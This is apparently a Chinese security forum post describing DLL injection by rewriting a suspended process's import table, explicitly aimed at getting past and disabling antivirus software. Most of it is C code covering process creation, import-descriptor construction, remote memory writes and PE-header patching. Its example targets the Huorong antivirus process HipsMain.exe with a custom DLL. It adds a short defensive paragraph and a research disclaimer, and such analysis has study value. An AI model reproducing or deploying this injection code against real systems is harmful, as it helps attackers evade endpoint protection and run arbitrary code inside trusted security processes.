利用导入表劫持实现DLL注入以干掉杀毒软件
引言
利用安全软件的白名单进程进行敏感操作,是恶意软件的常见特征。在现代安全软件中,常会通过复杂的权限校验严格限制目标进程的权限。但一些安全软件在防止APC注入时只防止通过OpenProcess获取进程句柄,或者对通过进程句柄继承的句柄限制不严格,导致产生一些问题。本文介绍一种基于导入表劫持的DLL注入技术,该技术通过修改挂起进程的导入表,使目标进程在启动时自动加载恶意DLL,从而绕过常见的注入检测手段。
研究与分析
进程注入方式概述
常见的进程注入方式包括:
DLL注入 :使用CreateRemoteThread + LoadLibrary,将DLL路径写入目标进程并创建远程线程。
Shellcode注入 :将恶意代码写入目标进程,通过CreateRemoteThread或SetThreadContext执行。
APC注入 :利用异步过程调用队列,在目标线程处于可警告状态时执行代码。
Process Hollowing :创建挂起进程后替换其内存映像。
导入表劫持 :修改PE文件的导入表(Import Address Table, IAT),使进程加载时自动引入指定DLL。
其中,APC注入和远程线程注入是安全软件重点监控的对象,通常会检查OpenProcess获取的句柄权限以及CreateRemoteThread调用。而导入表劫持技术不需要在目标进程中创建远程线程,仅需对挂起进程的内存进行修改,且修改操作可通过继承的进程句柄完成,从而规避某些仅对OpenProcess返回的句柄做严格权限检查的安全软件。
通过进程句柄继承方式获取句柄
在Windows中,父进程创建子进程时可以设置bInheritHandles = TRUE,使得子进程继承父进程的可继承句柄。但本技术的核心在于:创建挂起进程后,直接使用CreateProcess返回的进程句柄(pi.hProcess)进行操作 。该句柄拥有足够的权限(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_SUSPEND_RESUME等),因为它是创建者自然获得的。许多安全软件在挂钩OpenProcess时只拦截外部进程打开目标进程的行为,而对于通过CreateProcess直接获得的句柄(属于进程创建的自然流程)往往不做严格限制,或者因为性能原因忽略了对该句柄的后续操作检查。
此外,通过继承机制,恶意代码可以预先创建一个高权限的子进程,然后让子进程继承某些敏感句柄,进一步绕过基于进程身份的访问检查。
检查句柄权限
要验证一个进程句柄是否具备所需的操作权限,可以使用GetHandleInformation或NtQueryObject。在注入前,代码可以检查PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD等权限。本例中的CreateProcessAndInjectDll函数直接假定返回的句柄具有足够权限,因为它是合法创建的挂起进程。
DWORD access = 0 ;
if (GetHandleInformation (hProcess, &access)) {
}
实践
下面提供的代码实现了通过修改挂起进程的导入表来注入DLL。其核心流程如下:
以CREATE_SUSPENDED标志创建目标进程,使其主线程挂起。
在目标进程中查找主模块(EXE)的基址。
读取目标进程的PE头(DOS头、NT头)。
保存原有的导入表信息(如果有)。
计算新的导入表所需内存大小,包括新增的DLL导入描述符、IAT(导入地址表)和DLL名字符串。
在目标进程中找到合适的内存区域(靠近主模块基址,以便于相对寻址),分配新的导入表内存。
构建新的导入表数据,将原有导入表内容保留,并在其前面添加一个新条目指向目标DLL。
将新导入表写入目标进程。
修改目标进程的PE头中的导入表目录项(IMAGE_DIRECTORY_ENTRY_IMPORT),指向新导入表。
恢复目标进程的主线程,进程启动时加载器会解析新的导入表,自动加载指定的DLL。
该技术的优点:
无需调用CreateRemoteThread或QueueUserAPC,行为更隐蔽。
不依赖LoadLibrary的远程执行,只需修改内存和PE头。
注入时机在进程初始化阶段,加载器会负责DLL加载,无需额外代码执行。
局限性:
目标进程不能有严格的完整性控制或签名验证。
需要目标进程的PE头可写(通常挂起状态下可写)。
注入的DLL必须与目标进程位数一致(64位/32位)。
代码详细解释
下面逐段解释提供的C代码。
头文件和宏定义
确保编译为64位,因为代码中使用了IMAGE_NT_HEADERS64等64位结构。
辅助函数
#define MM_ALLOCATION_GRANULARITY 0x10000
static inline DWORD PadToDword (DWORD dw) {
return (dw + 3 ) & ~3u ;
}
static inline DWORD PadToDwordPtr (DWORD dw) {
return (dw + 7 ) & ~7u ;
}
PadToDword:将大小对齐到4字节边界(DWORD对齐)。
PadToDwordPtr:对齐到8字节边界(指针大小对齐)。
static HRESULT DWordAdd (DWORD a, DWORD b, DWORD* pResult) {
ULONGLONG ull = (ULONGLONG)a + b;
if (ull > 0xFFFFFFFF ) return E_FAIL;
*pResult = (DWORD)ull;
return S_OK;
}
static HRESULT DWordMult (DWORD a, DWORD b, DWORD* pResult) {
ULONGLONG ull = (ULONGLONG)a * b;
if (ull > 0xFFFFFFFF ) return E_FAIL;
*pResult = (DWORD)ull;
return S_OK;
}
安全的32位整数加法和乘法,防止溢出。
查找目标进程的主模块基址
static HMODULE FindMainModuleInProcess (HANDLE hProcess) {
PBYTE pbLast = 0 ;
MEMORY_BASIC_INFORMATION mbi;
while (VirtualQueryEx (hProcess, (PVOID)pbLast, &mbi, sizeof (mbi)) != 0 ) {
if ((mbi.RegionSize & 0xfff ) == 0xfff ) break ;
if ((PBYTE)mbi.BaseAddress + mbi.RegionSize < pbLast) break ;
if (mbi.State != MEM_COMMIT ||
(mbi.Protect & (PAGE_NOACCESS | PAGE_GUARD)) != 0 ) {
pbLast = (PBYTE)mbi.BaseAddress + mbi.RegionSize;
continue ;
}
IMAGE_DOS_HEADER idh;
if (!ReadProcessMemory (hProcess, mbi.BaseAddress, &idh, sizeof (idh), NULL ))
goto next;
if (idh.e_magic != IMAGE_DOS_SIGNATURE)
goto next;
IMAGE_NT_HEADERS32 inh32;
if (!ReadProcessMemory (hProcess, (PBYTE)mbi.BaseAddress + idh.e_lfanew,
&inh32, sizeof (inh32), NULL ))
goto next;
if (inh32. Signature != IMAGE_NT_SIGNATURE)
goto next;
if (inh32.F ileHeader.Machine != IMAGE_FILE_MACHINE_AMD64)
goto next;
IMAGE_NT_HEADERS64 inh64;
if (!ReadProcessMemory (hProcess, (PBYTE)mbi.BaseAddress + idh.e_lfanew,
&inh64, sizeof (inh64), NULL ))
goto next;
if (!(inh64.F ileHeader.Characteristics & IMAGE_FILE_DLL))
return (HMODULE)mbi.BaseAddress;
next:
pbLast = (PBYTE)mbi.BaseAddress + mbi.RegionSize;
}
return NULL ;
}
该函数通过遍历目标进程的内存区域,寻找符合PE格式且不是DLL的模块,即主可执行文件。它检查DOS签名、NT签名、机器类型(AMD64),并确认不是DLL,返回基址。
在目标进程中找到合适的内存区域分配新表
static PBYTE FindAndAllocateNearBase (HANDLE hProcess,
PBYTE pbModule,
PBYTE pbBase,
DWORD cbAlloc)
{
MEMORY_BASIC_INFORMATION mbi;
PBYTE pbLast = pbBase;
for (;; pbLast = (PBYTE)mbi.BaseAddress + mbi.RegionSize) {
ZeroMemory (&mbi, sizeof (mbi));
if (VirtualQueryEx (hProcess, (PVOID)pbLast, &mbi, sizeof (mbi)) == 0 ) {
if (GetLastError () == ERROR_INVALID_PARAMETER) break ;
break ;
}
if ((mbi.RegionSize & 0xfff ) == 0xfff ) break ;
if (mbi.State != MEM_FREE) continue ;
PBYTE pbAddress = (PBYTE)mbi.BaseAddress > pbBase ? (PBYTE)mbi.BaseAddress : pbBase;
const DWORD_PTR granularity = MM_ALLOCATION_GRANULARITY - 1 ;
pbAddress = (PBYTE)(((DWORD_PTR)pbAddress + granularity) & ~granularity);
if ((size_t )(pbAddress + cbAlloc - 1 - pbModule) > 0xFFFFFFFF )
return NULL ;
for (; pbAddress < (PBYTE)mbi.BaseAddress + mbi.RegionSize;
pbAddress += MM_ALLOCATION_GRANULARITY) {
PBYTE pbAlloc = (PBYTE)VirtualAllocEx (hProcess, pbAddress, cbAlloc,
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE);
if (pbAlloc != NULL )
return pbAlloc;
}
}
return NULL ;
}
此函数在目标进程的指定基址(pbBase)附近查找空闲内存区域,并以64KB粒度尝试分配。目的是使新分配的导入表地址与主模块基址的偏移量不超过32位有符号范围(2GB),以便在PE头中使用32位RVA。如果分配的内存太远,则加载器可能无法正确解析。
核心注入函数
BOOL CreateProcessAndInjectDll (
LPCWSTR lpApplicationName,
LPWSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation,
LPCSTR lpDllName)
参数类似CreateProcess,额外增加lpDllName指定要注入的DLL路径(ANSI字符串)。
1. 创建挂起进程
if (!CreateProcessW (lpApplicationName, lpCommandLine, lpProcessAttributes,
lpThreadAttributes, bInheritHandles, dwCreationFlags | CREATE_SUSPENDED,
lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation))
return FALSE;
强制添加CREATE_SUSPENDED标志,使主线程挂起,便于修改内存。
2. 获取主模块基址
HMODULE hModule = FindMainModuleInProcess (hProcess);
if (hModule == NULL ) goto fail;
3. 读取PE头并清空绑定导入表
inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0 ;
inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0 ;
绑定导入表会预先计算函数地址,如果存在可能会干扰新添加的导入项,因此清空。
4. 保存原有导入表
DWORD oldImportRVA = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
DWORD oldImportSize = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
if (oldImportRVA != 0 ) {
}
保留原有导入表,以便在后面合并时拷贝。
5. 计算新导入表大小
DWORD nDlls = 1 ;
代码中每个DLL预留了4个IMAGE_THUNK_DATA64条目,其中两个用于导入名称表(INT),两个用于导入地址表(IAT)。
6. 在目标进程中分配新导入表内存
PBYTE pbBase = (PBYTE)hModule + inh.OptionalHeader.BaseOfCode
+ inh.OptionalHeader.SizeOfCode
+ inh.OptionalHeader.SizeOfInitializedData
+ inh.OptionalHeader.SizeOfUninitializedData;
if ((PBYTE)hModule > pbBase) pbBase = (PBYTE)hModule;
pbNewIid = FindAndAllocateNearBase (hProcess, (PBYTE)hModule, pbBase, cbNew);
pbBase是一个启发式的起始地址,通常在代码段、数据段之后,试图在靠近主模块的地方分配内存。
7. 构建新导入表数据(本地缓冲区)
pbNew = (PBYTE)malloc (cbNew);
ZeroMemory (pbNew, cbNew);
PIMAGE_IMPORT_DESCRIPTOR piid = (PIMAGE_IMPORT_DESCRIPTOR)pbNew;
if (nOldDlls > 0 && pOldImportDesc != NULL ) {
CopyMemory (&piid[nDlls], pOldImportDesc, nOldDlls * sizeof (IMAGE_IMPORT_DESCRIPTOR));
}
DWORD obCur = obTab;
for (DWORD n = 0 ; n < nDlls; n++) {
DWORD intOffset = obBase + obCur;
DWORD iatOffset = obBase + obCur + (2 * sizeof (IMAGE_THUNK_DATA64));
piid[n].OriginalFirstThunk = intOffset;
piid[n].FirstThunk = iatOffset;
piid[n].Name = obBase + obStr;
PIMAGE_THUNK_DATA64 pThunk = (PIMAGE_THUNK_DATA64)(pbNew + obCur);
pThunk[0 ].u1. Ordinal = IMAGE_ORDINAL_FLAG64 | 1 ;
pThunk[1 ].u1. Ordinal = 0 ;
pThunk[2 ].u1. Ordinal = IMAGE_ORDINAL_FLAG64 | 1 ;
pThunk[3 ].u1. Ordinal = 0 ;
obCur += 4 * sizeof (IMAGE_THUNK_DATA64);
char * pName = (char *)pbNew + obStr;
strcpy_s (pName, cbNew - obStr, rlpDlls[n]);
obStr += PadToDword ((DWORD)strlen (rlpDlls[n]) + 1 );
}
这里构造的导入描述符使用了序号导入(IMAGE_ORDINAL_FLAG64 | 1),这意味着它要求目标DLL导出序号为1的函数。实际中,为了确保DLL被加载但不一定要调用某个函数,可以改为按名字导入一个存在的函数(如DllMain),或者利用延迟加载机制。
8. 将新导入表写入目标进程
if (!WriteProcessMemory (hProcess, pbNewIid, pbNew, obStr, NULL )) goto fail;
obStr是写入的总长度。
9. 修改目标进程的PE头
VirtualProtectEx (hProcess, (PBYTE)hModule + idh.e_lfanew, sizeof (inh), PAGE_READWRITE, &dwProtect);
inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = (DWORD)(pbNewIid - (PBYTE)hModule);
inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = cbNew;
if (inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress == 0 ) {
inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress = (DWORD)(pbNewIid - (PBYTE)hModule);
inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size = cbNew;
}
inh.OptionalHeader.CheckSum = 0 ;
WriteProcessMemory (hProcess, (PBYTE)hModule + idh.e_lfanew, &inh, sizeof (inh), NULL );
VirtualProtectEx (hProcess, (PBYTE)hModule + idh.e_lfanew, sizeof (inh), dwProtect, &dwProtect);
10. 恢复进程执行
if (!(dwCreationFlags & CREATE_SUSPENDED))
ResumeThread (lpProcessInformation->hThread);
由于我们总是添加了CREATE_SUSPENDED,所以这里恢复线程。进程开始运行,加载器会解析新的导入表,加载指定的DLL。
主函数示例
int wmain (int argc, wchar_t * argv[])
{
LPCWSTR exePath = L"C:\\Program Files\\Huorong\\Sysdiag\\bin\\HipsMain.exe" ;
LPCSTR dllPath = "C:\\Users\\lenovo\\a64.dll" ;
STARTUPINFOW si = { sizeof (si) };
PROCESS_INFORMATION pi = { 0 };
BOOL result = CreateProcessAndInjectDll (
exePath, NULL , NULL , NULL , FALSE, 0 , NULL , NULL , &si, &pi, dllPath
);
if (!result) {
DWORD err = GetLastError ();
return 1 ;
}
WaitForSingleObject (pi.hProcess, INFINITE);
CloseHandle (pi.hProcess);
CloseHandle (pi.hThread);
return 0 ;
}
该示例启动C:\Program Files\Huorong\Sysdiag\bin\HipsMain.exe,向其注入a64.dll,然后等待HipsDaemon.exe进程结束。
效果
绕过安全软件检测的原理
许多安全软件对进程注入的监控点包括:
OpenProcess :当进程A尝试打开进程B时,检查权限和调用者信誉。
CreateRemoteThread / NtCreateThreadEx :检测远程线程创建。
QueueUserAPC :检测APC注入。
WriteProcessMemory + CreateRemoteThread 组合行为。
本技术的特点:
无需调用OpenProcess :使用的句柄直接来自CreateProcess,属于进程创建的自然结果。安全软件如果只钩住OpenProcess,则无法监控到后续的WriteProcessMemory和VirtualProtectEx操作(除非也钩住这些函数并检查句柄来源)。
无需创建远程线程 :DLL加载由进程自身的加载器完成,不产生额外的线程创建事件。
修改PE头 :这属于非常规操作,但许多安全软件不会严格检查挂起进程的PE头修改,尤其当句柄是合法继承而来时。
当然,高级安全软件会监控VirtualAllocEx、WriteProcessMemory、VirtualProtectEx以及PE头的完整性。但通过精心选择目标进程(如白名单程序),并在合法上下文中操作,仍可能绕过部分防御。
总结
本文展示了一种基于导入表劫持的DLL注入技术,通过创建挂起进程并修改其导入表,实现隐蔽的DLL加载。该技术绕过了依赖OpenProcess和远程线程检测的传统安全机制,但也需要目标进程可写且未受严格保护。在实际对抗中,防御方应加强对WriteProcessMemory和PE头修改的行为监控,同时检测异常的导入表变化。对于开发者,应避免使用CREATE_SUSPENDED启动关键进程,或启用进程完整性验证(如Protected Process Light)。
源码:附件中的TestOne.zip
免责声明 :本文提供的代码仅用于安全研究和教育目的,请勿用于非法活动。
上传的附件: